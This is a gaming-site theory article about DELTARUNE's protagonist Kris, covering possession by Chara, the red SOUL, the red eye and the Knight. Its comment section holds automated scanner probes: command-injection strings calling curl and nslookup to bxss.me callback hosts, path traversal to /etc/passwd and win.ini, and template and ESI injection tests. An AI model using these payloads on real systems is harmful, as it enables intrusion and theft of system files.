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DELTARUNE's Protag Is Being Controlled—And It Isn't You

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DELTARUNE
Release Date Gameplay & Story Pre-Order & DLC Chapter 1 & 2 Review Chapter 3 & 4 Review

DELTARUNE’s biggest mystery is Kris: are they a possessed vessel, a victim, or something else entirely? Read on to explore the leading theories, symbolisms, and unsettling truths about DELTARUNE's protagonist.

← Return to DELTARUNE main article

  • This article contains spoilers for UNDERTALE and DELTARUNE Chapters 1 and 2, including endgame scenes and character interpretations.

DELTARUNE's Player, Protagonist, and Vessel

Who’s Really In Control?

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From the moment you begin DELTARUNE, something feels… off. Kris, the game’s quiet, mop-haired protagonist, doesn’t speak. They don’t emote much. And most importantly, they don’t always do what you tell them to.

At first, it seems like a stylistic choice. The game, after all, is deeply narrative-driven—perhaps Kris is just a vessel for your decisions, like Frisk in Undertale. But then comes the ending of Chapter 1. Without warning, Kris rips their SOUL—your red, heart-shaped cursor—out of their chest, throws it into a birdcage, and picks up a knife.

You, the player, are left watching.

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It happens again in Chapter 2. And likewise, you can’t stop it. The message is clear; you may control Kris during gameplay, but you do not own them. Something else is going on beneath that calm exterior. Something disturbing. Something deliberate.

And that’s where the mystery begins.

Is Kris being possessed by the ghost of Undertale’s Chara, perhaps? Or is Kris the one in control, only pretending to obey when you're watching? Are they resisting your influence, or someone else’s entirely?

To answer that, we’ll need to look deeper. Into Undertale’s legacy, into the symbols of SOUL and eye, and into what it means when a game gives you control, only to snatch it away. And with the release of DELTARUNE Chapters 3 and 4 just hours away, there’s no better time to dive into one of the game’s deepest mysteries.

Kris, Frisk, and Chara: A Brief Lineage

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To understand who—or what—Kris might be, we need to look backward. Not just to the events of Undertale, but to the characters who defined its branching paths and moral core: Frisk and Chara.

Frisk is the protagonist of Undertale, a silent child who falls into the Underground. They serve as the player's stand-in—the one we name, guide, and, in most cases, project ourselves onto. Frisk is essentially a blank slate, and their personality is shaped by how we choose to play: pacifist, neutral, or genocidal.

Chara, by contrast, is not the player, but a presence. The first human to ever fall down the Underground. And while they remain offscreen for most of the game, their influence emerges most clearly in one of the three story routes: the Genocide route. When the player chooses to kill every monster in sight, Chara speaks—claiming they’ve been awakened by our actions. They are anger, destruction, and, perhaps most chillingly, complicity, a mirror of what we’ve chosen to become.

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Now enter Kris, the protagonist of DELTARUNE. At first glance, Kris seems like Frisk 2.0—another quiet human dropped into a strange world. But there are crucial differences. Kris isn’t a blank slate. They have a home, a family, a history. Everyone in town knows them. They’re not your creation; they're their own person.

And then there’s the SOUL,—the red, heart-shaped icon that in Undertale represents "Determination" and player control, and the will to shape the world. In DELTARUNE, that same red SOUL appears inside Kris—only for Kris to reach into their chest and forcibly remove it twice, as if it's something foreign. Without it, Kris acts independently. There’s something darker lurking in Kris, and the visual cues suggest it might not be entirely unlike Chara.

So what’s going on? Is Kris being influenced by Chara, much like the Genocide route in Undertale implies? Are they the reincarnation of that first fallen human? Or are they resisting both Chara and the player, reclaiming agency in a world that constantly tries to overwrite them?

Whatever the answer is, DELTARUNE draws a deliberate line between these three figures—Frisk the player, Chara the influence, and Kris the unknown. And somewhere in that triangle lies the truth.

A Symbol of Control

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In Undertale, the red SOUL is more than just a health bar. It represents the player’s will—your control over the world, over Frisk, and over the story’s direction. The red SOUL is the color of determination, a force so powerful in the game’s lore that it bends death and time alike. Wherever the red SOUL appears, so too does agency.

But in DELTARUNE, that meaning begins to fracture.

Twice now—at the end of Chapters 1 and 2—Kris removes the red SOUL from their body. The moment is abrupt, silent, and deeply unsettling. In Chapter 1, it’s just after they’ve gone to bed. They reach inside their chest, pluck out the glowing red heart, and lock it away in a birdcage. Then, with an eerie calmness, they draw a knife and smile. In Chapter 2, it happens again—this time to open a new Dark Fountain. Again, the red SOUL is cast aside, and Kris acts alone.

The implications are enormous. If the red SOUL is us—the player—then these moments aren’t just story beats. They’re rejections. Kris isn’t inviting us along. They’re separating us from their decisions. Either we’re not in control anymore… or maybe, we never truly were.

But why would they remove the SOUL? Is it possession—Chara or something else using Kris as a vessel once the player is out of the way? Or is Kris finally acting freely, without a controlling force dictating their every move?

There’s an argument for both.

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If Kris is regaining autonomy, then we are the invader. The SOUL—the player—is a foreign object Kris has had to endure throughout the game. This reframes those unsettling scenes as acts of liberation. Kris isn’t being possessed; they’re escaping possession. Our commands, our choices, our detours to talk to every NPC, those aren’t their choices. They're ours. And when the day ends, when the world quiets down, Kris peels us off like a mask.

But that’s a heavy implication. If we, as the red SOUL, are an unwanted passenger, then who is Kris? Are they just a quiet teen who wants to be left alone, or something more complicated?

This is where the ambiguity creeps in. Because the moment Kris removes us, they don’t just lie in bed. They grab a knife. They smile in the dark. They open Fountains that threaten to merge worlds. These aren’t neutral actions. They imply agency and potentially dangerous intent.

So maybe Kris isn’t escaping us out of self-preservation, but to act without interference. Maybe there’s a darker goal in motion, one the player can’t be allowed to interrupt.

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That leads to the second interpretation: that Kris is being overtaken. In this event, the SOUL is Kris’s and it is the thing keeping something worse at bay. When it’s gone, something else wakes up. This is where comparisons to Chara return, especially if you consider that red eyes were strongly tied to Chara in Undertale (more on this later). Is Chara still out there? Are they using Kris as a vessel?

And here’s where it all loops back to Undertale’s most chilling moment. At the end of the Genocide route, when everything has been destroyed, Chara turns to the player and says
"There is nothing left for us here. Let us erase this pointless world, and move on to the next."

At the time, it read like a meta reset—a final twist in a game full of fourth-wall breaks. But what if it wasn’t just a reset? What if Deltarune is the next world? Not a sequel, not an alternate timeline, but the continuation Chara promised. A new playground for control. A world where the SOUL reappears. Where the player returns—but this time, with boundaries.

This frames the SOUL removal in an even darker light. If Chara or some remnant of them has crossed over, then Kris might not just be an unfortunate vessel—they could be the bridge. And that bridge is cutting the rope between us and them, one chapter at a time.

But why Kris? That’s the real question, isn’t it?

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We know Kris is different. They’re adopted, and the only human in a town of monsters. They’re quiet, often withdrawn, and seem strangely unfazed by the surreal and terrifying events happening around them. While Susie, Noelle, and others react to danger with fear or confusion, Kris often shows… nothing. They’re already familiar with something deeper. Something darker.

So perhaps Kris’s body is special, uniquely suited for hosting whatever force is trying to break through. Maybe they’re emotionally or spiritually vulnerable. Or maybe they have a dormant power, something that can open Fountains, twist reality, or house ancient beings. Either way, the act of removing the SOUL—our SOUL—represents a fundamental shift in the player-character relationship. It flips the script from Undertale, where we were the center of the story. In DELTARUNE, we’re not the protagonist. We’re just the SOUL in someone else's body. And when Kris is done with us, they don’t hesitate to lock us away.

The Red Eye: Possession or Hidden Identity?

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Each time Kris removes the SOUL—at the end of Chapter 1 and again in Chapter 2—there’s a brief, unmistakable flash, one eye glows a sharp, crimson red. It's never explained. It’s never acknowledged by anyone in the game. But it’s there, and it changes everything.

So what does it mean? Let’s start with the most immediate association: Chara. In Undertale, Chara was introduced as the "first fallen human," and if players choose the Genocide route, it’s strongly implied that Chara awakens, influences, or even possesses the player by the end. They’re known for their nihilistic hunger for destruction. The red eye could signal a connection—especially if we view Kris not as Chara, but as a new vessel for the same presence.

Then again, maybe it’s not Chara at all. The red eye could represent a separate identity—not Chara, not Kris, but a third presence awakened when the SOUL is removed. A sleeper persona. A latent power. Something ancient or divine. This ties into the way other characters talk about the &quor;Knight", a mysterious figure who creates Dark Fountains and may be orchestrating the merging of Light and Dark Worlds. Could Kris be the Knight? Or are they the container the Knight needs to act?

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The eye is a visual signal of that transformation. The moment the SOUL is gone, the mask of the player falls away, and the Knight (or some other hidden force) comes to the surface. It’s not how any other character in the game behaves, and its suddenness reinforces the idea that what we’re seeing is not Kris as we know them—or at least, not the Kris we’ve been allowed to control.

There’s also the monstrous interpretation. Maybe, it’s just Kris all along. Not some invading force from another world. Just Kris, fully aware, fully awake, and done pretending. What if this is who Kris truly is? A being with red eyes, a color long associated in Toby Fox’s universe with violence, possession, and malevolence. In Undertale's Genocide route, it's used to signal a descent into power without empathy. Red means danger. Red means control lost. If the red SOUL represented determination, then the red eye might represent a corrupted, self-guided will—one that’s powerful, angry, and possibly divine. Maybe Kris has nothing to do with Chara at all—because they are this world’s Chara, not a vessel, not a victim, but the threat itself.

And it wouldn’t come out of nowhere. Scattered throughout DELTARUNE are bits of dialogue and flavor text that paint Kris as a habitual prankster. They’ve put ketchup on themselves and pretended it was blood. They’ve put bath bombs in toilets. These are the harmless mischiefs of a bored kid, sure—but what if that same cleverness and disregard for rules simply… matured?

Maybe the Kris we’re seeing now isn’t possessed or corrupted at all. Maybe they just grew up.

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What starts as childish trickery doesn’t always stay that way. That playful disregard for boundaries might evolve into something darker. More deliberate. Especially if Kris has always felt like an outsider—adopted, human, and constantly under observation. What looks like a SOUL removal to us might feel, to them, like finally taking off the training wheels. Or the leash.

It’s worth noting how DELTARUNE presents this all without commentary. It’s a secret kept between Kris and the screen. That kind of narrative restraint is classic Toby Fox—giving us just enough to question everything, while never confirming anything. But in games like this, ambiguity is the message. The red eye is a symbol of duality: Kris as a quiet teen and a potential world-ender. Kris as vessel and agent. Kris as protagonist and villain.

Whatever its true meaning, that single glowing eye serves as a crack in the mirror. A glimpse of something else staring back when we’re no longer looking through it.

Is Kris The Knight?

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In DELTARUNE, few figures loom as large—and as vaguely—as the Knight. We don’t meet them. We don’t hear them speak. But their actions ripple across every chapter. We figure out that the Knight is the one creating the dark fountains. Ralsei treats them as a mythic force destabilizing the balance of Light and Dark. The Knight is a bringer of chaos. A catalyst for change. And possibly… the person we’ve been playing as, all along.

At the end of Chapter 2, Kris wakes up from sleep, removes their SOUL (our link to them), and opens a Dark Fountain—with a blade pulled seemingly from nowhere. We, the player, are powerless during these moments. There are no dialogue boxes. No battle. No choice. Just Kris, acting alone.

It’s not subtle. The parallels to what we know of the Knight are direct. The Knight creates Fountains. Kris creates Fountains. And they only do it once the player is no longer in control. But that raises the core mystery: is Kris the Knight? Or are they simply being used?

Let’s start with the obvious theory, yes, Kris is the Knight. Maybe not in name, but in function. The only person we’ve seen open a Fountain is Kris, and the action is framed ritualistically: removing the SOUL (removing us), drawing a knife, striking downward into reality itself. It has the cadence of a dark transformation. This isn’t mischief. It’s purpose.

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In Chapter 1’s ending, Kris brandishes a knife—but not to hurt anyone. The next morning, Toriel chalks it up to Kris using it to eat pie. In Chapter 2, Kris uses the same knife to carve open a new Fountain in the middle of a cozy living room. The implication is that the blade is more than a tool—it’s a key. Kris keeps it hidden, but never far. That quiet preparedness suggests intent.

Still, intent doesn’t always mean autonomy. What if Kris is being driven—by Chara, by the Knight, or by something we don’t yet understand? After all, if opening Fountains requires removing the SOUL, maybe it’s not Kris who needs to act, but whatever surfaces once we’re gone. In that framing, Kris is less an architect and more a doorway. A gatekeeper. A battleground.

Or perhaps it’s more nuanced than that. Kris might not be a puppet or a puppetmaster—but both. Someone caught between wills. A being with their own motivations, their own pain, using the only means they have—moments of freedom from the player—to do something desperate. What if the creation of the Fountains is not about destruction, but healing? A call for help disguised as rebellion?

That ambiguity might not be accidental. It could be the point.

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There’s also the possibility of misdirection. Toby Fox is no stranger to meta-narratives, unreliable perspectives, or narrative sleight-of-hand. What if Kris opening the Fountain at the end of Chapter 2 is meant to look like a revelation, but is actually a distraction? A red herring? After all, we never see what happens after the Fountain opens—only that it’s open by the time the screen fades in. We assume Kris is responsible because of the framing, but the actual mechanics remain unseen. It’s entirely possible the game wants us to suspect Kris… to lead us down a trail of misinterpreted clues while the true Knight works in the background.

Afterall, we still don’t know what the Knight wants. No villain so far has claimed to be the Knight, nor has the Knight ever been directly observed. We might be chasing a shadow that doesn’t exist—or a role that multiple people can fulfill.

In a world where identity is fluid, and roles are shaped by action, maybe anyone can be the Knight. Maybe it’s not a name, but a title passed between those who have the will—and the freedom—to reshape the world. In that sense, Kris is the Knight not because of who they are, but because of what they do when no one is watching.

So is Kris the Knight? The game offers no firm answer. But the pattern is forming. Fountains are appearing. The knife is always close. And when the SOUL is gone, Kris stops following and starts leading. Whatever the truth is, one thing is certain: the most dangerous thing in DELTARUNE isn’t the villains or the darkness—it’s the protagonist, left alone.

Player vs. Protagonist

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One of the most pervasive theories in the DELTARUNE community is deceptively simple, we’re not Kris. We’re someone—or something—else entirely. A presence riding alongside them. A SOUL imposed upon them. And perhaps most compellingly… an intruder they never invited.

This "Player theory" posits that Kris is a fully formed individual with their own desires, emotions, and intentions—and we are just along for the ride. The red SOUL, long associated with determination and agency in Undertale, still represents control—but not Kris’s. Ours. The fact that Kris removes it, without your consent, makes that perfectly clear. It’s not a tantrum. It’s a boundary.

And if you’re still unsure whether Kris and the SOUL are separate entities, Snowgrave makes it difficult to deny.

In the alternate route of Chapter 2, Snowgrave, Noelle hears someone urging her to be violent, even as she resists. She says the voice isn’t Kris’s. If it isn’t Kris, the alternative is it’s ours. The player’s. The one making the choices. This moment suggests that the SOUL we see yanked from Kris’s chest isn't just a symbol of our influence, it is our presence. We’re the invader, directing decisions no one in-universe seems to approve of.

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What’s more disturbing is that this route requires Kris to cooperate. They help guide Noelle through this cold-blooded spiral. They open doors. They act as an accomplice. But are they complying… or trapped? Has Kris resigned themselves to being a puppet in these moments, or are they enabling us for reasons we don’t yet understand?

This duality—Kris’s will vs. ours—turns DELTARUNE into a game not of moral choices, but of identity conflict. And if Kris resents us, the violent way he snatches the red SOUL out of his chest makes perfect sense. Every friendship they try to maintain is filtered through us. Every decision we make says something about who we think they should be. And when they finally act on their own—removing the SOUL, sneaking out at night, even opening a Dark Fountain—they do so in silence. Not to rebel, but to reclaim something.

Or perhaps it’s not resentment at all. Maybe Kris doesn’t hate the player, maybe they fear what will happen if we stay. The act of placing the SOUL into a birdcage (rather than destroying it) implies a strange sentiment, as though they want to protect us from what’s coming next. A kindness? A warning? Or maybe, it’s the other way around. Maybe Kris is protecting the world from us?

This uncertainty is intentional. Toby Fox hasn’t given us clear answers, only clues. But the implications are there, DELTARUNE isn’t just about control. It’s about sharing a body with someone who didn’t ask for you to be there. And every step forward deepens the mystery of who’s guiding whom… and to what end.

Hints and Misdirection

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If there's one constant across Toby Fox’s work, it’s that nothing is ever just what it seems. His games are puzzles in more ways than one—packed with meta-commentary, unreliable narration, and symbolism that begs to be unpacked. DELTARUNE is no exception. In fact, it might be his most layered misdirection yet.

DELTARUNE doesn't hand you motives, morality, or control—it obscures them. Kris’s most defining actions happen when you're forcibly removed from the equation. And even then, the game refuses to say why. You’re given disturbing imagery—a SOUL in a birdcage, a smile in the dark, a blade slashing through air—but no explanations. No context. It's storytelling by subtraction, what's not said matters just as much as what is.

That silence is intentional. Toby builds his narratives like stage plays seen through a cracked mirror. Take the SOUL itself—presented as a familiar RPG mechanic, but also a metaphysical tether between the player and protagonist. It's easy to assume the SOUL removal scenes are about Kris becoming evil, possessed, or dangerous. But Toby has left breadcrumbs in both Undertale and DELTARUNE warning us not to trust surface readings.

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Remember Flowey? The chipper, tutorial-like guide who’s a SOULless, manipulative killer? But then it turns out he was essentially the reincarnation of Asriel? Toby regularly questions the trust we place in what games "say" vs. what they show.

So when Kris smiles after ripping out their SOUL, the question shouldn't be "What are they doing?" It’s "What assumptions are we making about them—and why?"

Toby’s ambiguity forces us to examine the theme of autonomy. What does it mean for Kris to be "the protagonist" if they have no real control? Or worse—if someone else (us) is controlling them under the guise of kindness? This isn’t just a narrative trick. It’s a challenge to the player’s role in storytelling. DELTARUNE isn't asking "Are you good or evil?" like Undertale did. It’s asking, Should you even be here?

All of this is deliberate. The slow creep of unease, the unreliable framing, the refusal to confirm or deny the player’s influence—it’s all part of Toby’s design philosophy. He wants you to overthink it. To theorize. To fall into the rabbit hole. Because ultimately, DELTARUNE isn’t just a story you play. It’s a mystery you embody. And until all the chapters are revealed, Toby Fox will keep playing with what you think you know.

So… Who Is Kris?

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At the end of two chapters and countless theories, we’re left with more questions than answers. Is Kris possessed by Chara—a vessel under the sway of a malevolent force from another world? Are they Chara reincarnated, playing out a familiar cycle with a new face and fractured will? Or are they something far more tragic, a person resisting not a monster, but us?

The red SOUL, once a beacon of determination in Undertale, becomes a prison or a parasite depending on your point of view. When Kris removes it, is that a moment of liberation—or surrender? And the red eye, is it a sign of something ancient and powerful awakening within Kris? Or is it a mask slipping for just a second, revealing who—or what—has been hiding beneath the surface all along?

These aren't idle flourishes. They're choices. Deliberate, quiet, unnerving choices that DELTARUNE makes again and again. Until Chapters 3 and 4 arrive, we can only speculate. But maybe that’s the point. DELTARUNE is less about giving you answers than making you question the role you play. Kris is at the heart of that tension, a character who resists clarity, ownership, and expectation. Whether they’re resisting Chara, the player, the Knight, or their own fate, one thing is clear:

In this game, control is an illusion. And Kris is waking up.

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/etc/shells

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'.gethostbyname(lc('hitiy'.'imytlsstb9282.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(78).chr(102).chr(82).'

pHqghUme24 days

<a href='http://bxss.me/t/fit.txt?.jpg' target='_black' rel='nofollow'>http://bxss.me/t/fit.txt?.jpg</a>

pHqghUme24 days

Http://bxss.me/t/fit.txt

pHqghUme24 days

&(nslookup${IFS}-q${IFS}cname${IFS}hitsdvhqocnkgfc38c.bxss.me||curl${IFS}hitsdvhqocnkgfc38c.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsdvhqocnkgfc38c.bxss.me||curl${IFS}hitsdvhqocnkgfc38c.bxss.me)&`'

pHqghUme24 days

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

pHqghUme24 days

|(nslookup${IFS}-q${IFS}cname${IFS}hitqosluunffn93ecf.bxss.me||curl${IFS}hitqosluunffn93ecf.bxss.me)

pHqghUme24 days

ctime sleep p0 (I30 tp1 Rp2 .

pHqghUme24 days

&(nslookup -q=cname hitpwnwgervho06835.bxss.me||curl hitpwnwgervho06835.bxss.me)&'\"`0&(nslookup -q=cname hitpwnwgervho06835.bxss.me||curl hitpwnwgervho06835.bxss.me)&`'

pHqghUme24 days

|(nslookup -q=cname hitzirchciren5fac8.bxss.me||curl hitzirchciren5fac8.bxss.me)

pHqghUme24 days

redirtest.acx

pHqghUme24 days

;(nslookup -q=cname hitgkgtkmghsi24dd3.bxss.me||curl hitgkgtkmghsi24dd3.bxss.me)|(nslookup -q=cname hitgkgtkmghsi24dd3.bxss.me||curl hitgkgtkmghsi24dd3.bxss.me)&(nslookup -q=cname hitgkgtkmghsi24dd3.bxss.me||curl hitgkgtkmghsi24dd3.bxss.me)

pHqghUme24 days

<a href='http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg' target='_black' rel='nofollow'>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg</a>

pHqghUme24 days

`(nslookup -q=cname hitncejcuxval231a6.bxss.me||curl hitncejcuxval231a6.bxss.me)`

pHqghUme24 days

^(#$!@#$)(()))******

pHqghUme24 days

&nslookup -q=cname hitiuxrytgtwx71acd.bxss.me&'\"`0&nslookup -q=cname hitiuxrytgtwx71acd.bxss.me&`'

pHqghUme24 days

!(()&&!|*|*|

pHqghUme24 days

$(nslookup -q=cname hitalqektmmge2235e.bxss.me||curl hitalqektmmge2235e.bxss.me)

pHqghUme24 days

&n955248=v923354

pHqghUme24 days

)

pHqghUme24 days

(nslookup -q=cname hitebgoaqlxpee03ef.bxss.me||curl hitebgoaqlxpee03ef.bxss.me))

pHqghUme24 days

&echo uyzwxn$()\ gdaexh

z^xyu||a #' &echo uyzwxn$()\ gdaexh

z^xyu||a #|" &echo uyzwxn$()\ gdaexh

z^xyu||a #

pHqghUme24 days

|echo rwdeeg$()\ jciiiw

z^xyu||a #' |echo rwdeeg$()\ jciiiw

z^xyu||a #|" |echo rwdeeg$()\ jciiiw

z^xyu||a #

pHqghUme24 days

expr 9000453767 - 975574

pHqghUme24 days

echo ktmpkl$()\ ibgnon

z^xyu||a #' &echo ktmpkl$()\ ibgnon

z^xyu||a #|" &echo ktmpkl$()\ ibgnon

z^xyu||a #

pHqghUme24 days

../

pHqghUme24 days

${9999675+9999976}

pHqghUme24 days

file:///etc/passwd

pHqghUme24 days

12345'"\'\");|]*{ <>�''����

pHqghUme24 days

../../../../../../../../../../../../../../windows/win.ini

pHqghUme24 days

../../../../../../../../../../../../../../etc/passwd

pHqghUme24 days

&lt;esi:include src=&quot;<a href='http://bxss.me/rpb.png&quot;/&gt;' target='_black' rel='nofollow'>http://bxss.me/rpb.png&quot;/&gt;</a>

pHqghUme24 days

"+response.write(9707353*9989947)+"

pHqghUme24 days

'+response.write(9707353*9989947)+'

pHqghUme24 days

response.write(9707353*9989947)

pHqghUme24 days

v8h5UbYv: lnXgkW3F

pHqghUme24 days

zM73bTQM

pHqghUme24 days

17MR2XM8RA0

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